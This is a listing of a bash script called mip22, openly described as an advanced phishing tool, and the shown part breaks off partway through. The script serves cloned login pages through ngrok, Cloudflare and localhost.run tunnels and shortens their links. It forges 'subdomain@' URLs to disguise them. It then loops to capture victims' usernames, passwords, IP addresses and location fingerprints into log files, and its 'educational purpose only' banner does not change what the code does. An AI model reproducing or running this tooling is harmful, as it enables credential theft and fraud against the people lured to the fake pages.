mip22.sh 46 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142114311441145114611471148114911501151115211531154115511561157115811591160116111621163116411651166116711681169117011711172117311741175117611771178117911801181118211831184118511861187118811891190119111921193119411951196119711981199120012011202120312041205120612071208120912101211121212131214121512161217121812191220122112221223122412251226122712281229123012311232123312341235123612371238123912401241124212431244124512461247124812491250125112521253125412551256125712581259126012611262126312641265126612671268126912701271127212731274127512761277127812791280128112821283128412851286128712881289129012911292129312941295129612971298129913001301130213031304130513061307130813091310131113121313131413151316131713181319132013211322132313241325132613271328132913301331133213331334133513361337133813391340134113421343134413451346134713481349135013511352135313541355135613571358135913601361136213631364136513661367136813691370137113721373137413751376137713781379138013811382138313841385138613871388138913901391139213931394139513961397139813991400140114021403140414051406140714081409141014111412141314141415141614171418141914201421142214231424142514261427142814291430143114321433143414351436143714381439144014411442144314441445144614471448144914501451145214531454145514561457145814591460146114621463146414651466146714681469147014711472147314741475147614771478147914801481148214831484148514861487148814891490149114921493149414951496149714981499150015011502150315041505150615071508150915101511151215131514151515161517151815191520152115221523152415251526152715281529153015311532153315341535153615371538153915401541154215431544154515461547154815491550155115521553155415551556155715581559156015611562156315641565156615671568156915701571157215731574157515761577157815791580158115821583158415851586158715881589159015911592159315941595159615971598159916001601160216031604160516061607160816091610161116121613161416151616161716181619162016211622162316241625162616271628162916301631163216331634163516361637163816391640164116421643164416451646164716481649165016511652165316541655165616571658165916601661166216631664166516661667166816691670167116721673167416751676167716781679168016811682168316841685168616871688168916901691169216931694169516961697169816991700170117021703170417051706170717081709171017111712171317141715171617171718171917201721172217231724172517261727172817291730173117321733173417351736173717381739174017411742174317441745174617471748174917501751175217531754175517561757
  1. #!/bin/bash
  2. #
  3. # Copyright (c) 2022 Barchampas Gerasimos <makindosxx@gmail.com>.
  4. # mip22 is a advanced phishing tool.
  5. #
  6. # mip22 is free software: you can redistribute it and/or modify
  7. # it under the terms of the GNU Affero General Public License as published by
  8. # the Free Software Foundation, either version 3 of the License, or
  9. # (at your option) any later version.
  10. #
  11. # mip22 is distributed in the hope that it will be useful,
  12. # but WITHOUT ANY WARRANTY; without even the implied warranty of
  13. # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  14. # GNU Affero General Public License for more details.
  15. #
  16. # You should have received a copy of the GNU Affero General Public License
  17. # along with this program. If not, see <http://www.gnu.org/licenses/>.
  18. #
  19. #
  20. #permissions
  21. chmod -R 777 packages.sh
  22. chmod -R 777 tunnels.sh
  23. chmod -R 777 data.txt
  24. chmod -R 777 fingerprints.txt
  25. chmod -R 777 .host
  26. chmod -R 777 .manual_attack
  27. chmod -R 777 .music
  28. chmod -R 777 .pages
  29. chmod -R 777 .tunnels_log
  30. chmod -R 777 .www
  31. #Install packages and tunnels
  32. check_os_and_install_packages() {
  33. if [[ -f .host/ngrok && -f .host/cloudflared ]]; then
  34. { clear; }
  35. else
  36. { clear; header; }
  37. OS_SYSTEM=$(uname -o)
  38. if [ $OS_SYSTEM != Android ]; then
  39. bash packages.sh
  40. bash tunnels.sh
  41. else
  42. ./packages.sh
  43. ./tunnels.sh
  44. fi
  45. fi
  46. }
  47. # Check os for root
  48. check_root_and_os() {
  49. OS_SYSTEM=$(uname -o)
  50. if [ $OS_SYSTEM != Android ]; then
  51. if [[ "${EUID:-$(id -u)}" -ne 0 ]]; then
  52. { clear; header; }
  53. echo -e "The program cannot run.\nFor run program in GNU/Linux Operating System,\nGive root privileges and try again. \n"
  54. exit 1
  55. fi
  56. fi
  57. }
  58. # Terminal Colors
  59. RED="$(printf '\033[31m')"
  60. GREEN="$(printf '\033[32m')"
  61. ORANGE="$(printf '\033[33m')"
  62. BLUE="$(printf '\033[34m')"
  63. MAGENTA="$(printf '\033[35m')"
  64. CYAN="$(printf '\033[36m')"
  65. WHITE="$(printf '\033[37m')"
  66. BLACK="$(printf '\033[30m')"
  67. ORANGEBG="$(printf '\033[43m')"
  68. BLUEBG="$(printf '\033[44m')"
  69. RESETFG="$(printf '\e033[0m')"
  70. RESETBG="$(printf '\e[0m\n')"
  71. # Directories
  72. if [[ ! -d ".host" ]]; then
  73. mkdir -p ".host"
  74. fi
  75. if [[ ! -d ".www" ]]; then
  76. mkdir -p ".www"
  77. fi
  78. # Clear content of log files
  79. truncate -s 0 .tunnels_log/.cloudfl.log
  80. truncate -s 0 .tunnels_log/.localrun.log
  81. pid_kill() {
  82. #kill all pid for php, ngrok and cloudflared
  83. if [[ `pidof php` ]]; then
  84. killall php > /dev/null 2>&1
  85. fi
  86. if [[ `pidof ngrok` ]]; then
  87. killall ngrok > /dev/null 2>&1
  88. fi
  89. if [[ `pidof cloudflared` ]]; then
  90. killall cloudflared > /dev/null 2>&1
  91. fi
  92. }
  93. header(){
  94. printf "${BLUE}"
  95. cat <<- EOF
  96. ${BLUE} ███╗ ███╗██╗███████╗███████╗██╗ ██████╗ ███╗ ██╗███████╗ ${RED} o
  97. ${BLUE} ████╗ ████║██║██╔════╝██╔════╝██║██╔═══██╗████╗ ██║██╔════╝ ${RED} d8b
  98. ${BLUE} ██╔████╔██║██║███████╗███████╗██║██║ ██║██╔██╗ ██║███████╗ ${RED} d888b
  99. ${BLUE} ██║╚██╔╝██║██║╚════██║╚════██║██║██║ ██║██║╚██╗██║╚════██║ ${RED}"Y888888888P"
  100. ${BLUE} ██║ ╚═╝ ██║██║███████║███████║██║╚██████╔╝██║ ╚████║███████║ ${RED} "Y88888P"
  101. ${BLUE} ╚═╝ ╚═╝╚═╝╚══════╝╚══════╝╚═╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝ ${RED} d88P"Y88b
  102. ${BLUE} ██╗███╗ ███╗██████╗ ██████╗ ███████╗███████╗██╗██████╗ ██╗ ███████╗███████╗ ${RED}dP" "Yb
  103. ${BLUE} ██║████╗ ████║██╔══██╗██╔═══██╗██╔════╝██╔════╝██║██╔══██╗██║ ██╔════╝██╔════╝
  104. ${BLUE} ██║██╔████╔██║██████╔╝██║ ██║███████╗███████╗██║██████╔╝██║ █████╗ ███████╗ d88b d88b
  105. ${BLUE} ██║██║╚██╔╝██║██╔═══╝ ██║ ██║╚════██║╚════██║██║██╔══██╗██║ ██╔══╝ ╚════██║ " dP " dP
  106. ${BLUE} ██║██║ ╚═╝ ██║██║ ╚██████╔╝███████║███████║██║██████╔╝███████╗███████╗███████║ dP dP
  107. ${BLUE} ═╝╚═╝ ╚═╝╚═╝ ╚═════╝ ╚══════╝╚══════╝╚═╝╚═════╝ ╚══════╝╚══════╝╚══════╝ d888 d888
  108. ${BLUE}
  109. ${CYAN}Mip22 tool made for educational purpose only. ${ORANGE}Version: 3.3
  110. ${CYAN}The author is not responsible for any malicious use of the program.
  111. ${CYAN} Mip Created by ${ORANGE}makdosx ${CYAN}(https://github.com/makdosx) ${WHITE}
  112. EOF
  113. printf "${RESETBG}"
  114. }
  115. log_info(){
  116. bold=$(tput bold)
  117. normal=$(tput sgr0)
  118. printf "${GREEN}"
  119. cat <<- EOF
  120. $bold _ _
  121. $bold | _ _ o ._ o ._ _|_ _ |_ _ ._ _|
  122. $bold |_ (_) (_| | | | | | | | (_) | (_) |_| | | (_|
  123. $bold _|
  124. EOF
  125. printf "${RESETBG}"
  126. }
  127. # Php webserver and port
  128. host='127.0.0.1'
  129. port='8080'
  130. setup_clone(){
  131. # Setup cloned page and server
  132. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${BLUE} Setting up cloned page..."${WHITE}
  133. rm -rf .www/*
  134. cp -rf .pages/"$site"/* .www
  135. echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${BLUE} Starting your php server..."${WHITE}
  136. cd .www && php -S "$host":"$port" > /dev/null 2>&1 &
  137. }
  138. setup_clone_manual() {
  139. rm -rf .www/*
  140. cp -rf .manual_attack/index.html .www
  141. cp -rf .manual_attack/post.php .www
  142. cp -rf .manual_attack/__ROOT__/index.php .www
  143. cp -rf .manual_attack/__ROOT__/fingerprints.php .www
  144. rm -rf .manual_attack/index.html
  145. rm -rf .manual_attack/post.php
  146. rm -rf .manual_attack/data.txt
  147. echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${BLUE} Starting your php server..."${WHITE}
  148. cd .www && php -S "$host":"$port" > /dev/null 2>&1 &
  149. }
  150. setup_clone_customize(){
  151. # Setup cloned page and server
  152. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${BLUE} Setting up cloned page..."${WHITE}
  153. rm -rf .www/*
  154. cp -rf .customize/"$site"/* .www
  155. echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${BLUE} Starting your php server..."${WHITE}
  156. cd .www && php -S "$host":"$port" > /dev/null 2>&1 &
  157. }
  158. ## Get IP address
  159. get_fingerprints() {
  160. IP=$(grep -a 'IP:.*' .www/fingerprints.txt | cut -d " " -f2 | tr -d '\r')
  161. Full_Date=$(grep -a 'Full-Date:.*' .www/fingerprints.txt | cut -d " " -f2 | tr -d '\r')
  162. Country=$(grep -a 'Country:.*' .www/fingerprints.txt | cut -d " " -f2 | tr -d '\r')
  163. Region=$(grep -a 'Region:.*' .www/fingerprints.txt | cut -d " " -f2 | tr -d '\r')
  164. City=$(grep -a 'City:.*' .www/fingerprints.txt | cut -d " " -f2 | tr -d '\r')
  165. User_Agent=$(grep -a 'User-Agent:.*' .www/fingerprints.txt | cut -d " " -f2 | tr -d '\r')
  166. OS_System=$(grep -a 'OS-System:.*' .www/fingerprints.txt | cut -d " " -f2 | tr -d '\r')
  167. IFS=$'\n'
  168. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Victim Fingerprints.. "
  169. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} IP: ${BLUE}$IP"
  170. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Full Date: ${BLUE}$Full_Date"
  171. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Country: ${BLUE}$Country"
  172. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Region: ${BLUE}$Region"
  173. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} City: ${BLUE}$City"
  174. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} User-Agent: ${BLUE}$User_Agent"
  175. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} OS System: ${BLUE}$OS_System"
  176. echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${BLUE} Saved in : ${MAGENTA}fingerprints.txt"
  177. cat .www/fingerprints.txt >> fingerprints.txt
  178. }
  179. # Get credentials from victims
  180. get_creds() {
  181. ACC=$(grep -o 'Username:.*' .www/data.txt | cut -d " " -f2)
  182. PASS=$(grep -o 'Password:.*' .www/data.txt | cut -d ":" -f2)
  183. IFS=$'\n'
  184. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Account : ${WHITE}$ACC"
  185. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Password : ${WHITE}$PASS"
  186. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Saved in : ${ORANGE}data.txt"
  187. cat .www/data.txt >> data.txt
  188. echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Waiting for Next Fingerptints and Login Info, ${BLUE}Ctrl + C ${ORANGE}to exit. "
  189. }
  190. # Get credentials from victims manual method
  191. get_creds_manual() {
  192. ACC=$(tail -n 20 .www/data.txt)
  193. IFS=$'\n'
  194. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Account : ${WHITE}$ACC"
  195. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Saved in : ${ORANGE}data.txt"
  196. cat .www/data.txt >> data.txt
  197. echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Waiting for Next Login Info, ${BLUE}Ctrl + C ${ORANGE}to exit. "
  198. }
  199. # Print credentials from victim
  200. credentials() {
  201. echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Waiting for Victim fingerprints and Login Info.. ${BLUE}Ctrl + C ${MAGENTA}to exit..."
  202. while true; do
  203. if [[ -e ".www/fingerprints.txt" ]]; then
  204. echo -e "\n\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Fingerprints Victim Found!"
  205. get_fingerprints
  206. rm -rf .www/fingerprints.txt
  207. fi
  208. sleep 0.75
  209. if [[ -e ".www/data.txt" ]]; then
  210. notice_login
  211. echo -e "\n"
  212. log_info
  213. #echo -e "\n\n \033[31;5;7m Login info Found! \033[37m"
  214. #echo -e "${RESETBG}"
  215. get_creds
  216. rm -rf .www/data.txt
  217. fi
  218. sleep 0.75
  219. done
  220. }
  221. # Print credentials from victim manual
  222. credentials_manual() {
  223. echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Waiting for Victim fingerprints and Login Info.. ${BLUE}Ctrl + C ${MAGENTA}to exit..."
  224. while true; do
  225. if [[ -e ".www/fingerprints.txt" ]]; then
  226. echo -e "\n\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Fingerprints Victim Found!"
  227. get_fingerprints
  228. rm -rf .www/fingerprints.txt
  229. fi
  230. sleep 0.75
  231. if [[ -e ".www/data.txt" ]]; then
  232. notice_login
  233. echo -e "\n"
  234. log_info
  235. #echo -e "\n\n \033[31;5;7m Login info Found! \033[37m"
  236. #echo -e "${RESETBG}"
  237. get_creds_manual
  238. rm -rf .www/data.txt
  239. fi
  240. sleep 0.75
  241. done
  242. }
  243. # Localhost Start
  244. localhost_start() {
  245. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Initializing... ${GREEN}( ${CYAN}http://$host:$port ${GREEN})"
  246. setup_clone
  247. { sleep 1; clear; header; }
  248. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Successfully Hosted in : ${GREEN}${CYAN}http://$host:$port ${GREEN}"
  249. credentials
  250. }
  251. # Localhost Start customize
  252. localhost_customize() {
  253. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Initializing... ${GREEN}( ${CYAN}http://$host:$port ${GREEN})"
  254. setup_clone_customize
  255. { sleep 1; clear; header; }
  256. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Successfully Hosted in : ${GREEN}${CYAN}http://$host:$port ${GREEN}"
  257. credentials
  258. }
  259. # Localhost Start manual
  260. localhost_start_manual() {
  261. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Initializing... ${GREEN}( ${CYAN}http://$host:$port ${GREEN})"
  262. setup_clone_manual
  263. { sleep 1; clear; header; }
  264. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Successfully Hosted in : ${GREEN}${CYAN}http://$host:$port ${GREEN}"
  265. credentials_manual
  266. }
  267. #ngrok token setup
  268. ngrok_setup_token() {
  269. { clear; header; echo; }
  270. cat <<- EOF
  271. ${GREEN}[${WHITE}1${GREEN}]${CYAN} Ngrok Toekn
  272. ${GREEN}[${WHITE}99${GREEN}]${CYAN} Main Menu
  273. EOF
  274. read -p "${GREEN}[${WHITE}-${GREEN}]${GREEN} Select Api : ${WHITE}"${WHITE}
  275. case $REPLY in
  276. 1)
  277. echo "Please insert yout ngrok authtoken (only key):"
  278. read authtoken
  279. if [[ `command -v termux-chroot` ]]; then
  280. termux-chroot ./.host/ngrok authtoken $authtoken
  281. sleep 2 && menu
  282. else
  283. ./.host/ngrok authtoken $authtoken
  284. sleep 2 && menu
  285. fi ;;
  286. 99) menu;;
  287. *)
  288. echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
  289. { sleep 0.7; ngrok_setup_token;};;
  290. esac
  291. }
  292. apis() {
  293. { clear; header; echo; }
  294. cat <<- EOF
  295. ${GREEN}[${WHITE}1${GREEN}]${CYAN} Ngrok
  296. ${GREEN}[${WHITE}99${GREEN}]${CYAN} Main Menu
  297. EOF
  298. read -p "${GREEN}[${WHITE}-${GREEN}]${GREEN} Select Api : ${WHITE}"${WHITE}
  299. case $REPLY in
  300. 1) ngrok_setup_token;;
  301. 99) menu;;
  302. *)
  303. echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Api, Try Again..."
  304. { sleep 0.7; apis;};;
  305. esac
  306. }
  307. # Start ngrok
  308. ngrok_start() {
  309. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Initializing... ${MAGENTA}( ${CYAN}http://$host:$port ${MAGENTA})"
  310. { sleep 1; setup_clone; }
  311. echo -ne "\n\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Launching Ngrok..."
  312. if [[ `command -v termux-chroot` ]]; then
  313. sleep 2 && termux-chroot ./.host/ngrok http "$host":"$port" > /dev/null 2>&1 &
  314. else
  315. sleep 2 && ./.host/ngrok http "$host":"$port" > /dev/null 2>&1 &
  316. fi
  317. { sleep 9; clear; header; }
  318. ngrok_url=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[-0-9a-z]*\.ngrok.io")
  319. ngrok_url1=${ngrok_url#https://}
  320. url_short=$(curl -s 'https://is.gd/create.php?format=simple&url='"$ngrok_url1")
  321. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http : ${GREEN}http://$ngrok_url1"
  322. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http(s) : ${GREEN}$ngrok_url"
  323. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL subdomain : ${GREEN}$subdomain@$ngrok_url1"
  324. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL shortener : ${GREEN}$url_short"
  325. credentials
  326. }
  327. # Start ngrok customize
  328. ngrok_start_customize() {
  329. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Initializing... ${MAGENTA}( ${CYAN}http://$host:$port ${MAGENTA})"
  330. { sleep 1; setup_clone_customize; }
  331. echo -ne "\n\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Launching Ngrok..."
  332. if [[ `command -v termux-chroot` ]]; then
  333. sleep 2 && termux-chroot ./.host/ngrok http "$host":"$port" > /dev/null 2>&1 &
  334. else
  335. sleep 2 && ./.host/ngrok http "$host":"$port" > /dev/null 2>&1 &
  336. fi
  337. { sleep 9; clear; header; }
  338. ngrok_url=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[-0-9a-z]*\.ngrok.io")
  339. ngrok_url1=${ngrok_url#https://}
  340. url_short=$(curl -s 'https://is.gd/create.php?format=simple&url='"$ngrok_url1")
  341. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http : ${GREEN}http://$ngrok_url1"
  342. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http(s) : ${GREEN}$ngrok_url"
  343. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL subdomain : ${GREEN}$subdomain@$ngrok_url1"
  344. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL shortener : ${GREEN}$url_short"
  345. credentials
  346. }
  347. # Start ngrok manual
  348. ngrok_start_manual() {
  349. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Initializing... ${MAGENTA}( ${CYAN}http://$host:$port ${MAGENTA})"
  350. { sleep 1; setup_clone_manual; }
  351. echo -ne "\n\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Launching Ngrok..."
  352. if [[ `command -v termux-chroot` ]]; then
  353. sleep 2 && termux-chroot ./.host/ngrok http "$host":"$port" > /dev/null 2>&1 &
  354. else
  355. sleep 2 && ./.host/ngrok http "$host":"$port" > /dev/null 2>&1 &
  356. fi
  357. { sleep 9; clear; header; }
  358. ngrok_url=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[-0-9a-z]*\.ngrok.io")
  359. ngrok_url1=${ngrok_url#https://}
  360. url_short=$(curl -s 'https://is.gd/create.php?format=simple&url='"$ngrok_url1")
  361. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http : ${GREEN}http://$ngrok_url1"
  362. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http(s) : ${GREEN}$ngrok_url"
  363. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL subdomain : ${GREEN}$subdomain@$ngrok_url1"
  364. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL shortener : ${GREEN}$url_short"
  365. credentials_manual
  366. }
  367. # Start Cloudflared
  368. cloudflared_start() {
  369. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Initializing... ${MAGENTA}( ${CYAN}http://$host:$port ${GREEN})"
  370. { sleep 1; setup_clone; }
  371. echo -ne "\n\n${GREEN}[${WHITE}-${GREEN}]${MAGETNA} Launching Cloudflared..."
  372. if [[ `command -v termux-chroot` ]]; then
  373. sleep 2 && termux-chroot ./.host/cloudflared tunnel -url "$host":"$port" > .tunnels_log/.cloudfl.log 2>&1 & > /dev/null 2>&1 &
  374. else
  375. sleep 2 && ./.host/cloudflared tunnel -url "$host":"$port" > .tunnels_log/.cloudfl.log 2>&1 & > /dev/null 2>&1 &
  376. fi
  377. { sleep 12; clear; header; }
  378. cldflr_url=$(grep -o 'https://[-0-9a-z]*\.trycloudflare.com' ".tunnels_log/.cloudfl.log")
  379. cldflr_url1=${cldflr_url#https://}
  380. url_short=$(curl -s 'https://is.gd/create.php?format=simple&url='"$cldflr_url1")
  381. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http : ${GREEN}http://$cldflr_url1"
  382. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http(s) : ${GREEN}$cldflr_url"
  383. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL subdomain : ${GREEN}$subdomain@$cldflr_url1"
  384. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL shortener : ${GREEN}$url_short"
  385. credentials
  386. }
  387. # Start Cloudflared customize
  388. cloudflared_start_customize() {
  389. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Initializing... ${MAGENTA}( ${CYAN}http://$host:$port ${GREEN})"
  390. { sleep 1; setup_clone_customize; }
  391. echo -ne "\n\n${GREEN}[${WHITE}-${GREEN}]${MAGETNA} Launching Cloudflared..."
  392. if [[ `command -v termux-chroot` ]]; then
  393. sleep 2 && termux-chroot ./.host/cloudflared tunnel -url "$host":"$port" > .tunnels_log/.cloudfl.log 2>&1 & > /dev/null 2>&1 &
  394. else
  395. sleep 2 && ./.host/cloudflared tunnel -url "$host":"$port" > .tunnels_log/.cloudfl.log 2>&1 & > /dev/null 2>&1 &
  396. fi
  397. { sleep 12; clear; header; }
  398. cldflr_url=$(grep -o 'https://[-0-9a-z]*\.trycloudflare.com' ".tunnels_log/.cloudfl.log")
  399. cldflr_url1=${cldflr_url#https://}
  400. url_short=$(curl -s 'https://is.gd/create.php?format=simple&url='"$cldflr_url1")
  401. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http : ${GREEN}http://$cldflr_url1"
  402. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http(s) : ${GREEN}$cldflr_url"
  403. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL subdomain : ${GREEN}$subdomain@$cldflr_url1"
  404. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL shortener : ${GREEN}$url_short"
  405. credentials
  406. }
  407. # Start Cloudflared manual
  408. cloudflared_start_manual() {
  409. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Initializing... ${MAGENTA}( ${CYAN}http://$host:$port ${GREEN})"
  410. { sleep 1; setup_clone_manual; }
  411. echo -ne "\n\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Launching Cloudflared..."
  412. if [[ `command -v termux-chroot` ]]; then
  413. sleep 2 && termux-chroot ./.host/cloudflared tunnel -url "$host":"$port" > .tunnels_log/.cloudfl.log 2>&1 & > /dev/null 2>&1 &
  414. else
  415. sleep 2 && ./.host/cloudflared tunnel -url "$host":"$port" > .tunnels_log/.cloudfl.log 2>&1 & > /dev/null 2>&1 &
  416. fi
  417. { sleep 12; clear; header; }
  418. cldflr_url=$(grep -o 'https://[-0-9a-z]*\.trycloudflare.com' ".tunnels_log/.cloudfl.log")
  419. cldflr_url1=${cldflr_url#https://}
  420. url_short=$(curl -s 'https://is.gd/create.php?format=simple&url='"$cldflr_url1")
  421. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http : ${GREEN}http://$cldflr_url1"
  422. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http(s) : ${GREEN}$cldflr_url"
  423. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL subdomain : ${GREEN}$subdomain@$cldflr_url1"
  424. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL shortener : ${GREEN}$url_short"
  425. credentials_manual
  426. }
  427. # Start localrun
  428. localhostrun_start() {
  429. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Initializing... ${MAGENTA}( ${CYAN}http://$host:$port ${MAGENTA})"
  430. { sleep 1; setup_clone; }
  431. echo -ne "\n\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Launching LocalhostRun..."
  432. if [[ `command -v termux-chroot` ]]; then
  433. sleep 2 && termux-chroot ssh -R "80":"$host":"$port" "nokey@localhost.run" > .tunnels_log/.localrun.log 2>&1 & > /dev/null 2>&1 &
  434. else
  435. sleep 2 && ssh -R "80":"$host":"$port" "nokey@localhost.run" > .tunnels_log/.localrun.log 2>&1 & > /dev/null 2>&1 &
  436. fi
  437. { sleep 9; clear; header; }
  438. localrun_url=$(grep -o 'https://[-0-9a-z]*\.lhrtunnel.link' ".tunnels_log/.localrun.log")
  439. localrun_url1=${localrun_url#https://}
  440. url_short=$(curl -s 'https://is.gd/create.php?format=simple&url='"$localrun_url1")
  441. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http : ${GREEN}http://$localrun_url1"
  442. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL https(s) : ${GREEN}$localrun_url"
  443. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL subdomain : ${GREEN}$subdomain@$localrun_url1"
  444. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL shortener : ${GREEN}$url_short"
  445. credentials
  446. }
  447. # Start localrun customize
  448. localhostrun_start_customize() {
  449. echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Initializing... ${MAGENTA}( ${CYAN}http://$host:$port ${MAGENTA})"
  450. { sleep 1; setup_clone_customize; }
  451. echo -ne "\n\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Launching LocalhostRun..."
  452. if [[ `command -v termux-chroot` ]]; then
  453. sleep 2 && termux-chroot ssh -R "80":"$host":"$port" "nokey@localhost.run" > .tunnels_log/.localrun.log 2>&1 & > /dev/null 2>&1 &
  454. else
  455. sleep 2 && ssh -R "80":"$host":"$port" "nokey@localhost.run" > .tunnels_log/.localrun.log 2>&1 & > /dev/null 2>&1 &
  456. fi
  457. { sleep 9; clear; header; }
  458. localrun_url=$(grep -o 'https://[-0-9a-z]*\.lhrtunnel.link' ".tunnels_log/.localrun.log")
